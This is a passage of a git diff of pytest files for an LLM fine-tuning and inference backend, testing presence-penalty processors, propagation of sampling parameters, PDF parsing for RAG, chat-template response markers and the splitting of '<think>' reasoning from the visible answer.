+over route -> orchestrator cmd -> worker gen_kwargs.
+"""
+
+import threading
+
+import pytest
+import torch
+
+from core.inference.presence_penalty import (
+    apply_presence_penalty,
+    _make_presence_penalty_processor,
+)
+
+
+def test_seen_token_gets_exactly_minus_penalty_unseen_unchanged():
+    input_ids = torch.tensor([[0, 1, 3]])  # prompt [0, 1], completion [3]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 2)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+    for tok in (0, 1, 2, 4):
+        assert out[0, tok].item() == pytest.approx(0.0)
+
+
+def test_multiplicity_ignored_presence_not_frequency():
+    # Token 3 emitted three times -> still a single -penalty (presence, not freq).
+    input_ids = torch.tensor([[0, 3, 3, 3]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 2.0, prompt_len = 1)
+    assert out[0, 3].item() == pytest.approx(-2.0)
+
+
+def test_negative_penalty_raises_seen_logits():
+    input_ids = torch.tensor([[0, 2]])
+    scores = torch.zeros(1, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = -0.5, prompt_len = 1)
+    assert out[0, 2].item() == pytest.approx(0.5)
+
+
+def test_prompt_tokens_excluded():
+    # Token 7 is prompt-only (untouched); token 4 in the completion is penalized.
+    input_ids = torch.tensor([[7, 4, 4]])
+    scores = torch.zeros(1, 8)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 7].item() == pytest.approx(0.0)
+    assert out[0, 4].item() == pytest.approx(-1.0)
+
+
+def test_batch_rows_isolated():
+    input_ids = torch.tensor([[0, 1], [0, 2]])  # row completions [1] and [2]
+    scores = torch.zeros(2, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 1].item() == pytest.approx(-1.0)
+    assert out[0, 2].item() == pytest.approx(0.0)
+    assert out[1, 2].item() == pytest.approx(-1.0)
+    assert out[1, 1].item() == pytest.approx(0.0)
+
+
+def test_zero_penalty_is_noop():
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 0.0, prompt_len = 1)
+    assert torch.equal(out, original)
+
+
+def test_empty_completion_is_noop():
+    # prompt_len covers the whole sequence -> nothing generated yet.
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 3)
+    assert torch.equal(out, original)
+
+
+def test_out_of_vocab_id_ignored():
+    # A generated id >= vocab_size (defensive) must not index out of bounds.
+    input_ids = torch.tensor([[0, 9]])
+    scores = torch.zeros(1, 5)  # vocab 5, token 9 is out of range
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_negative_generated_id_ignored():
+    # A negative generated id (defensive) must be dropped, not wrap to scores[-1].
+    input_ids = torch.tensor([[0, -1]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    # Nothing penalized; in particular the last row (the numpy/torch wrap target
+    # for id -1) is untouched.
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_mixed_oob_negative_and_valid_ids_only_in_range_penalized():
+    # Completion mixes a valid id (1), an out-of-vocab id (9 >= vocab 5) and a
+    # negative id (-1). Only the in-range distinct id is penalized; OOB/negative
+    # ids are ignored with no crash and no wrong-index wrap. This fails under the
+    # old ``seen[seen < vocab_size]`` filter (id -1 wraps to the last row) and
+    # passes only with the both-ends bound.
+    input_ids = torch.tensor([[0, 1, 9, -1, 1]])  # prompt [0], completion [1, 9, -1, 1]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    expected = torch.zeros(1, 5)
+    expected[0, 1] = -1.0  # once per distinct in-range id (multiplicity ignored)
+    assert torch.equal(out, expected)
+    assert out[0, 4].item() == pytest.approx(0.0)  # id -1 did not wrap to the last row
+
+
+def test_dtype_and_device_preserved():
+    input_ids = torch.tensor([[0, 1]])
+    scores = torch.zeros(1, 4, dtype = torch.float16)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out.dtype == torch.float16
+    assert out.device == scores.device
+
+
+def test_processor_none_when_zero():
+    assert _make_presence_penalty_processor(0.0, prompt_len = 0) is None
+
+
+def test_processor_applies_penalty():
+    proc = _make_presence_penalty_processor(1.5, prompt_len = 2)
+    assert proc is not None
+    input_ids = torch.tensor([[0, 1, 3]])
+    scores = torch.zeros(1, 5)
+    out = proc(input_ids, scores)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+
+
+def test_processor_composes_with_other_processors():
+    # LogitsProcessorList must run our processor alongside a pre-existing one.
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _AddToTokenZero(LogitsProcessor):
+        def __call__(self, input_ids, scores):
+            scores[:, 0] = scores[:, 0] + 100.0
+            return scores
+
+    presence = _make_presence_penalty_processor(1.0, prompt_len = 1)
+    combined = LogitsProcessorList([_AddToTokenZero(), *presence])
+    input_ids = torch.tensor([[5, 2]])  # completion = [2]
+    scores = torch.zeros(1, 6)
+    out = combined(input_ids, scores)
+    assert out[0, 0].item() == pytest.approx(100.0)  # other processor ran
+    assert out[0, 2].item() == pytest.approx(-1.0)  # presence ran
+
+
+def test_mlx_presence_penalty_callable():
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.5)
+    # First call = prompt only (latches prompt_len, penalizes nothing).
+    prompt = mx.array([10, 11])
+    logits0 = mx.zeros((1, 20))
+    out0 = proc(prompt, logits0)
+    assert float(out0[0, 10]) == pytest.approx(0.0)
+    # Second call: one completion token (5) appended -> penalized once.
+    seq = mx.array([10, 11, 5])
+    logits1 = mx.zeros((1, 20))
+    out1 = proc(seq, logits1)
+    assert float(out1[0, 5]) == pytest.approx(-1.5)
+    assert float(out1[0, 10]) == pytest.approx(0.0)  # prompt token untouched
+
+
+def test_mlx_presence_penalty_bounds_out_of_range_ids():
+    # Documents (and, on Apple Silicon CI, enforces) the intended MLX bound:
+    # out-of-vocab and negative completion ids must be ignored. MLX does no
+    # bounds checking and OOB indexing is undefined behavior (crash / memory
+    # corruption), so the processor routes stray ids to a discarded scratch slot
+    # and penalizes only in-range distinct ids -- matching the torch filter
+    # seen[(seen >= 0) & (seen < vocab)]. Skips off arm64 macOS where MLX is absent.
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.0)
+    proc(mx.array([10, 11]), mx.zeros((1, 8)))  # first call latches prompt_len = 2
+    # Completion appends a valid id (3), an out-of-vocab id (99 >= vocab 8) and a
+    # negative id (-1); only the in-range id is penalized and nothing crashes.
+    seq = mx.array([10, 11, 3, 99, -1])
+    out = proc(seq, mx.zeros((1, 8)))
+    assert float(out[0, 3]) == pytest.approx(-1.0)
+    for tok in range(8):
+        if tok != 3:
+            assert float(out[0, tok]) == pytest.approx(0.0)
+
+
+# Param propagation: route payload -> orchestrator cmd -> worker gen_kwargs
+_SAMPLING = {
+    "temperature": 0.7,
+    "top_p": 0.8,
+    "top_k": 20,
+    "min_p": 0.05,
+    "repetition_penalty": 1.1,
+    "presence_penalty": 1.5,
+}
+
+
+def test_orchestrator_cmd_carries_all_sampling_params():
+    from core.inference.orchestrator import InferenceOrchestrator
+
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    cmd = o._build_generate_cmd(
+        "req1",
+        None,
+        messages = [{"role": "user", "content": "hi"}],
+        max_new_tokens = 128,
+        **_SAMPLING,
+    )
+    for key, val in _SAMPLING.items():
+        assert cmd[key] == val, f"{key} dropped/altered in orchestrator cmd"
+
+
+def test_worker_forwards_all_sampling_params_to_backend():
+    from core.inference.worker import _handle_generate
+
+    class _RecordingBackend:
+        last_generation_stats = None
+
+        def __init__(self):
+            self.received = None
+
+        def generate_chat_response(self, **kwargs):
+            self.received = kwargs
+            return iter(())  # empty stream -> loop exits, gen_done is sent
+
+    class _FakeQueue:
+        def __init__(self):
+            self.items = []
+
+        def put(self, item):
+            self.items.append(item)
+
+    cmd = {
+        "type": "generate",
+        "request_id": "r",
+        "messages": [{"role": "user", "content": "hi"}],
+        "max_new_tokens": 128,
+        **_SAMPLING,
+    }
+    backend = _RecordingBackend()
+    _handle_generate(backend, cmd, _FakeQueue(), threading.Event())
+
+    assert backend.received is not None
+    for key, val in _SAMPLING.items():
+        assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs"
diff --git a/studio/backend/tests/test_providers_api.py b/studio/backend/tests/test_providers_api.py
index 5e24ed752d..7cac3a9e99 100644
--- a/studio/backend/tests/test_providers_api.py
+++ b/studio/backend/tests/test_providers_api.py
@@ -38,11 +38,11 @@ BASE_URL = os.getenv("STUDIO_TEST_URL", "http://localhost:8000")
 USERNAME = os.getenv("STUDIO_TEST_USER", "unsloth")
 PASSWORD = os.getenv("STUDIO_TEST_PASSWORD", "")
 
-# Skip the whole module when no live Studio server / bootstrap password is
+# Skip the whole module when no live Unsloth server / bootstrap password is
 # available (e.g. on CI) so pytest discovery does not error out.
 pytestmark = pytest.mark.skipif(
     not PASSWORD,
-    reason = "Integration test requires a running Studio server; set STUDIO_TEST_PASSWORD to enable.",
+    reason = "Integration test requires a running Unsloth server; set STUDIO_TEST_PASSWORD to enable.",
 )
 
 # provider_type → (env var name, model for inference test)
diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py
index 0e1f74cefe..3a332ee19b 100644
--- a/studio/backend/tests/test_rag_embed_llama_server.py
+++ b/studio/backend/tests/test_rag_embed_llama_server.py
@@ -149,7 +149,7 @@ def test_build_env_gpu_inherits_devices(monkeypatch):
     monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "0,1")
     b = LlamaServerBackend()
     env = b._build_env("/bin/llama-server", use_gpu = True)
-    assert env.get("CUDA_VISIBLE_DEVICES") == "0,1"  # inherit Studio's selection
+    assert env.get("CUDA_VISIBLE_DEVICES") == "0,1"  # inherit Unsloth's selection
 
 
 def test_use_gpu_explicit_modes(monkeypatch):
diff --git a/studio/backend/tests/test_rag_embeddings.py b/studio/backend/tests/test_rag_embeddings.py
index 28a2f69426..197ae4c495 100644
--- a/studio/backend/tests/test_rag_embeddings.py
+++ b/studio/backend/tests/test_rag_embeddings.py
@@ -5,8 +5,10 @@
 and token counting must be serialized (else threads panic "Already borrowed")."""
 
 import os
+import sys
 import threading
 import time
+from types import SimpleNamespace
 
 import numpy as np
 import pytest
@@ -130,6 +132,35 @@ def test_token_counter_enables_parallelism_only_during_call(monkeypatch):
     assert os.environ.get("TOKENIZERS_PARALLELISM") == "false"  # restored after
 
 
+def test_sentence_transformer_load_uses_live_cache(monkeypatch, tmp_path):
+    observed = {}
+
+    class FakeSentenceTransformer:
+        def __init__(self, name, **kwargs):
+            observed["name"] = name
+            observed.update(kwargs)
+
+    monkeypatch.setitem(
+        sys.modules,
+        "sentence_transformers",
+        SimpleNamespace(SentenceTransformer = FakeSentenceTransformer),
+    )
+    monkeypatch.setattr(embeddings, "_install_torchao_stub_once", lambda: None)
+    monkeypatch.setattr(embeddings, "_guard_model_security", lambda *_a, **_k: None)
+    monkeypatch.setattr(embeddings, "_device", lambda: "cpu")
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.active_hf_hub_cache",
+        lambda: str(tmp_path / "selected-hub"),
+    )
+    embeddings._model = None
+    embeddings._name = None
+
+    embeddings._get("Org/Embedder")
+
+    assert observed["name"] == "Org/Embedder"
+    assert observed["cache_folder"] == str(tmp_path / "selected-hub")
+
+
 class _SentinelLlamaBackend:
     """Stand-in for LlamaServerBackend; never spawns a real server."""
 
diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py
index 14ab0efe2e..3e259f6bd0 100644
--- a/studio/backend/tests/test_rag_parsing.py
+++ b/studio/backend/tests/test_rag_parsing.py
@@ -54,6 +54,56 @@ def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch):
     assert "#" not in text and "|" not in text  # plain text path emits no Markdown markup
 
 
+def test_pdf_bytes_use_same_extraction_path(tmp_path, monkeypatch):
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    from_file = parsers.parse(str(pdf))
+    from_bytes, total_pages = parsers.parse_pdf_bytes(pdf.read_bytes())
+    assert [page.text for page in from_bytes] == [page.text for page in from_file]
+    assert total_pages == len(from_file)
+
+
+def test_pdf_bytes_limit_pages_before_extraction(monkeypatch):
+    import pymupdf
+
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    doc = pymupdf.open()
+    for marker in ("page one", "page two", "page three"):
+        page = doc.new_page()
+        page.insert_text((40, 40), marker)
+    data = doc.tobytes()
+    doc.close()
+
+    pages, total_pages = parsers.parse_pdf_bytes(data, max_pages = 2)
+    assert len(pages) == 2
+    assert "page two" in pages[-1].text
+    assert total_pages == 3  # full count, not the 2 extracted
+
+
+def test_pdf_markdown_receives_page_limit(monkeypatch):
+    from core.rag import parsers
+
+    captured = {}
+
+    class _FakePymupdf4llm:
+        @staticmethod
+        def to_markdown(doc, **kwargs):
+            captured.update(kwargs)
+            return [{"text": "page"} for _ in kwargs["pages"]]
+
+    class _Doc:
+        page_count = 100
+
+    monkeypatch.setitem(__import__("sys").modules, "pymupdf4llm", _FakePymupdf4llm)
+    assert parsers._pdf_markdown(_Doc(), range(2)) == ["page", "page"]
+    assert captured == {"page_chunks": True, "show_progress": False, "pages": [0, 1]}
+
+
 def test_pdf_markdown_passes_only_supported_legacy_kwargs(monkeypatch):
     # The pinned PyMuPDF4LLM legacy path ignores unknown kwargs; do not pass the
     # newer layout-only OCR knobs or Markdown extraction silently loses policy control.
diff --git a/studio/backend/tests/test_recommended_folders_permission.py b/studio/backend/tests/test_recommended_folders_permission.py
index 33a457755e..b65695ad93 100644
--- a/studio/backend/tests/test_recommended_folders_permission.py
+++ b/studio/backend/tests/test_recommended_folders_permission.py
@@ -112,7 +112,7 @@ def test_path_under_unreadable_parent_returns_false_not_raises(tmp_path):
 )
 def test_demonstrates_the_underlying_stdlib_regression(tmp_path):
     """Documents *why* _safe_is_dir exists: the old bare pattern raises on
-    the interpreters Studio ships on (3.12+)."""
+    the interpreters Unsloth ships on (3.12+)."""
     parent = tmp_path / "ollama"
     parent.mkdir()
     os.chmod(parent, 0o000)
diff --git a/studio/backend/tests/test_resolve_quant_gguf.py b/studio/backend/tests/test_resolve_quant_gguf.py
index 840c4d8d4c..a137237e80 100644
--- a/studio/backend/tests/test_resolve_quant_gguf.py
+++ b/studio/backend/tests/test_resolve_quant_gguf.py
@@ -68,8 +68,6 @@ def test_skips_mtp_drafter_for_main_weights(tmp_path):
 
 
 def test_prefers_the_complete_snapshot(tmp_path, monkeypatch):
-    from huggingface_hub import constants as hf_constants
-
     cache = tmp_path / "hub"
     snaps = cache / "models--org--repo" / "snapshots"
     # Partial older snapshot: one small shard.
@@ -78,7 +76,10 @@ def test_prefers_the_complete_snapshot(tmp_path, monkeypatch):
     complete_first = _write(snaps / "bbbb" / "model-00001-of-00002-Q4_K_M.gguf", 30)
     _write(snaps / "bbbb" / "model-00002-of-00002-Q4_K_M.gguf", 40)
 
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(cache))
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.known_hf_hub_caches",
+        lambda: [cache],
+    )
 
     path, total = models_route._resolve_quant_gguf("org/repo", "Q4_K_M", is_local = False)
 
diff --git a/studio/backend/tests/test_response_template_markers.py b/studio/backend/tests/test_response_template_markers.py
new file mode 100644
index 0000000000..8c813e62f2
--- /dev/null
+++ b/studio/backend/tests/test_response_template_markers.py
@@ -0,0 +1,216 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""TEMPLATE_TO_RESPONSES_MAPPER markers must match what the templates render.
+
+The manual instruction/response markers are the fallback for
+train_on_completions when auto-detection is unavailable, so a marker that
+never matches the rendered chat template masks every assistant token and the
+run dies on the all-labels-masked safety net. Six template families shipped
+such markers:
+
+  mistral           - "[INST] " / " [/INST]": the surrounding spaces fold into
+                      the neighbouring tokens ("[INST]" is a single special
+                      token in Mistral v0.3), so the padded strings never match.
+  llama             - same space folding, plus llama-2 tokenizes [INST] after
+                      <s> as bare "[" on transformers 5.x while the standalone
+                      encoding gives "▁[", so the marker must anchor on <s>.
+  starling          - trailing space after "GPT4 Correct Assistant:" folds
+                      into the next content token ("▁Hello").
+  glm               - "[gMASK]<sop>" renders once at text start, never before
+                      later user turns; "<think>" is generation scaffolding
+                      that non-final turns render as a lone "</think>".
+  qwen3-thinking    - "<think>" is stripped from non-final assistant turns
+                      (Qwen3-Thinking-2507) or never rendered (QwQ).
+  zephyr            - role tags are plain text, and SentencePiece tokenizes
+                      "<|assistant|>" differently at text start than after
+                      "</s>\\n" mid-conversation; the markers need the leading
+                      newline anchor to tokenize like a real turn boundary.
+
+Literal assertions run everywhere; the token-level masking checks need the
+representative tokenizers plus unsloth_zoo and skip when either is
+unavailable (offline CI).
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# model_mappings is dependency-free: load it directly so these tests run
+# without the studio venv / package import side effects.
+_MM_PATH = Path(_BACKEND_DIR) / "utils" / "datasets" / "model_mappings.py"
+_mm_spec = importlib.util.spec_from_file_location("_marker_test_mm", _MM_PATH)
+model_mappings = importlib.util.module_from_spec(_mm_spec)
+_mm_spec.loader.exec_module(model_mappings)
+
+T2R = model_mappings.TEMPLATE_TO_RESPONSES_MAPPER
+
+
+# ── Fixed entries: markers derived from what each representative tokenizer
+#    actually renders (see PR for the token-level derivation). ──
+EXPECTED_FIXED = {
+    "mistral": {"instruction": "[INST]", "response": "[/INST]"},
+    "llama": {"instruction": "<s>[INST]", "response": "[/INST]"},
+    "starling": {"instruction": "GPT4 Correct User:", "response": "GPT4 Correct Assistant:"},
+    "glm": {"instruction": "<|user|>", "response": "<|assistant|>"},
+    "qwen3-thinking": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "zephyr": {"instruction": "\n<|user|>\n", "response": "\n<|assistant|>\n"},
+}
+
+# Spot-pin some known-good entries so a refactor cannot silently change them.
+EXPECTED_UNCHANGED = {
+    "qwen3": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "llama-3.1": {
+        "instruction": "<|start_header_id|>user<|end_header_id|>\n\n",
+        "response": "<|start_header_id|>assistant<|end_header_id|>\n\n",
+    },
+    "phi-4": {
+        "instruction": "<|im_start|>user<|im_sep|>",
+        "response": "<|im_start|>assistant<|im_sep|>",
+    },
+    "gemma-3": {"instruction": "<start_of_turn>user\n", "response": "<start_of_turn>model\n"},
+    "gpt-oss": {
+        "instruction": "<|start|>user<|message|>",
+        "response": "<|start|>assistant<|channel|>final<|message|>",
+    },
+}
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_FIXED))
+def test_fixed_marker_literals(template):
+    assert T2R[template] == EXPECTED_FIXED[template]
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_UNCHANGED))
+def test_unchanged_marker_literals(template):
+    assert T2R[template] == EXPECTED_UNCHANGED[template]
+
+
+def test_no_marker_is_empty_or_whitespace():
+    for template, parts in T2R.items():
+        assert parts["instruction"].strip(), template
+        assert parts["response"].strip(), template
+
+
+# ── Token-level checks: markers must select exactly the assistant turns on a
+#    rendered two-turn fixture, and the final EOS label must never be -100. ──
+
+REPRESENTATIVES = {
+    "mistral": ["unsloth/mistral-7b-instruct-v0.3"],
+    "llama": ["unsloth/llama-2-7b-chat"],
+    "starling": ["unsloth/Starling-LM-7B-beta"],
+    "glm": ["unsloth/GLM-4.7-Flash"],
+    "qwen3-thinking": ["unsloth/Qwen3-4B-Thinking-2507", "Qwen/QwQ-32B"],
+    "zephyr": ["unsloth/zephyr-sft"],
+}
+
+FIXTURE = [
+    {"role": "user", "content": "zebra alpha question one?"},
+    {"role": "assistant", "content": "grape reply number one."},
+    {"role": "user", "content": "zebra beta question two?"},
+    {"role": "assistant", "content": "grape reply number two."},
+]
+
+
+def _load_tokenizer(repo):
+    try:
+        from transformers import AutoTokenizer
+    except Exception as e:  # pragma: no cover
+        pytest.skip(f"transformers unavailable: {e}")
+    try:
+        return AutoTokenizer.from_pretrained(repo)
+    except OSError as e:
+        pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+    except Exception:
+        # Tokenizer class newer than this transformers (e.g. GLM-4.7's
+        # TokenizersBackend): build directly from tokenizer.json.
+        try:
+            import json as _json
+            from huggingface_hub import hf_hub_download
+            from transformers import PreTrainedTokenizerFast
+
+            with open(hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8") as f:
+                cfg = _json.load(f)
+            tok_file = hf_hub_download(repo, "tokenizer.json")
+
+            def _tokval(v):
+                return v["content"] if isinstance(v, dict) else v
+
+            return PreTrainedTokenizerFast(
+                tokenizer_file = tok_file,
+                chat_template = cfg.get("chat_template"),
+                **{
+                    k: _tokval(cfg[k])
+                    for k in ("bos_token", "eos_token", "pad_token", "unk_token")
+                    if cfg.get(k) is not None
+                },
+            )
+        except Exception as e:
+            pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+
+
+def _train_on_responses_only():
+    try:
+        from unsloth_zoo.dataset_utils import train_on_responses_only
+    except Exception as e:
+        pytest.skip(f"unsloth_zoo unavailable: {e}")
+    return train_on_responses_only
+
+
+@pytest.mark.parametrize(
+    "template,repo",
+    [(t, r) for t, repos in sorted(REPRESENTATIVES.items()) for r in repos],
+)
+def test_fixed_markers_token_level(template, repo):
+    tor = _train_on_responses_only()
+    tok = _load_tokenizer(repo)
+    parts = T2R[template]
+
+    msgs = [{"role": "system", "content": "You are a terse assistant."}] + FIXTURE
+    try:
+        ids = tok.apply_chat_template(msgs, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]  # transformers 5.x returns a BatchEncoding
+    except Exception:
+        ids = tok.apply_chat_template(FIXTURE, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]
+
+    fn = tor(
+        None,
+        instruction_part = parts["instruction"],
+        response_part = parts["response"],
+        tokenizer = tok,
+        return_function = True,
+    )
+    labels = fn({"input_ids": [list(ids)]})["labels"][0]
+
+    n = len(ids)
+    trained = tok.decode([ids[i] for i in range(n) if labels[i] != -100])
+    masked = tok.decode([ids[i] for i in range(n) if labels[i] == -100])
+
+    # User and system content fully masked
+    assert "question one" not in trained and "question one" in masked
+    assert "question two" not in trained and "question two" in masked
+    assert "terse assistant" not in trained
+    # EVERY assistant turn trained, not just the last
+    assert "reply number one" in trained
+    assert "reply number two" in trained
+    # The final EOS (last non-whitespace token) must never be -100, or the
+    # fine-tuned model never learns to stop generating.
+    i = n - 1
+    while i > 0 and tok.decode([ids[i]]).strip() == "":
+        i -= 1
+    assert labels[i] != -100, f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked"
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index a7ceb49ed9..69715649b7 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -59,6 +59,7 @@ from models.inference import (
     ResponsesUsage,
 )
 from routes.inference import (
+    _ResponsesReasoningExtractor,
     _SameTaskStreamingResponse,
     _build_chat_request,
     _chat_tool_calls_to_responses_output,
@@ -119,7 +120,7 @@ class TestResponsesRequestTools:
     def test_builtin_tool_type_passes_validation(self):
         """Non-function built-in tools (web_search, file_search, mcp, ...)
         must not raise at validation so SDKs that default to them don't
-        fail on Studio; they're filtered out during translation."""
+        fail on Unsloth; they're filtered out during translation."""
         req = ResponsesRequest(
             input = "hi",
             tools = [{"type": "web_search_preview"}],
@@ -795,6 +796,7 @@ class TestResponsesNonStreamingAdapter:
 
     def test_monitor_records_translated_visible_text(self, monkeypatch):
         import routes.inference as inf_mod
+        import routes.inference as inf_mod
 
         async def fake_chat_completions(chat_req, request):
             assert request.state.skip_api_monitor is True
@@ -1988,6 +1990,123 @@ class TestTranslatedMessagesValidate:
             ChatMessage(**m.model_dump(exclude_none = True))
 
 
+# reasoning_prefilled: enable_thinking templates prefill an unclosed <think>, so
+# generation begins inside the block; the extractor must start in reasoning.
+class TestReasoningPrefilledExtractor:
+    def test_prefilled_single_feed_splits_lone_close(self):
+        # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>answer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "answer"
+
+    def test_prefilled_never_closed_is_all_reasoning(self):
+        # T2: truncated mid-thought (no </think>) -> all reasoning (GGUF parity).
+        reasoning, visible = _extract_responses_reasoning(
+            "still thinking with no close",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "still thinking with no close"
+        assert visible == ""
+
+    def test_prefilled_close_split_across_feeds(self):
+        # T3: </think> straddles two feed() calls; holdback resolves it.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        r1, v1 = ex.feed("plan</th")
+        r2, v2 = ex.feed("ink>ans")
+        fr, fv = ex.finish()
+        assert (r1 + r2 + fr) == "plan"
+        assert (v1 + v2 + fv) == "ans"
+
+    def test_prefilled_close_split_one_char_per_feed(self):
+        # T4: every char in its own feed still splits correctly.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        reasoning, visible = "", ""
+        for ch in "plan</think>x":
+            r, v = ex.feed(ch)
+            reasoning += r
+            visible += v
+        fr, fv = ex.finish()
+        assert (reasoning + fr) == "plan"
+        assert (visible + fv) == "x"
+
+    def test_prefilled_empty_generation(self):
+        # T5: nothing generated.
+        reasoning, visible = _extract_responses_reasoning(
+            "",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == ""
+
+    def test_prefilled_whitespace_after_close_is_visible(self):
+        # T6: Qwen commonly emits </think>\n\n before the answer.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>\n\nanswer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "\n\nanswer"
+
+    def test_prefilled_stray_open_tag_is_suppressed(self):
+        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped,
+        # not leaked into the drawer (covers enable_thinking_effort full-tag output).
+        reasoning, visible = _extract_responses_reasoning(
+            "a<think>b</think>c",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "ab"
+        assert visible == "c"
+        assert "<think>" not in reasoning
+
+    def test_prefilled_close_at_start_empty_reasoning(self):
+        # T8: model closed immediately (empty reasoning) then answered.
+        reasoning, visible = _extract_responses_reasoning(
+            "</think>hi",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == "hi"
+
+    def test_not_prefilled_lone_close_preserves_current_behavior(self):
+        # T9: without prefilled, a lone close tag keeps the pre-fix behavior (parity guard).
+        reasoning, visible = _extract_responses_reasoning(
+            "reasoning</think>ans",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "reasoningans"
+
+    def test_not_prefilled_full_pair_still_splits(self):
+        # T10: normal explicit <think>..</think> (GGUF / Harmony) unchanged.
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>r</think>v",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == "r"
+        assert visible == "v"
+
+    def test_prefilled_ignored_when_markers_not_parsed(self):
+        # T11: a non-reasoning model passes text through even with reasoning_prefilled False.
+        reasoning, visible = _extract_responses_reasoning(
+            "just an answer",
+            parse_think_markers = False,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "just an answer"
+
+
 # =====================================================================
 # Streaming passthrough healing — text-form calls promoted in order
 # =====================================================================
diff --git a/studio/backend/tests/test_rocm_multi_gpu_vram_system_wide.py b/studio/backend/tests/test_rocm_multi_gpu_vram_system_wide.py
new file mode 100644
index 0000000000..bdafdeae9b
--- /dev/null
+++ b/studio/backend/tests/test_rocm_multi_gpu_vram_system_wide.py
@@ -0,0 +1,554 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The System tab's multi-GPU view must show system-wide VRAM on ROCm (#7072).
+
+When amd-smi is unavailable, get_visible_gpu_utilization fell back to torch,
+whose readings are process-local: a model held by the separate llama-server
+process read as ~0 VRAM used even with the GPU full. These tests cover the
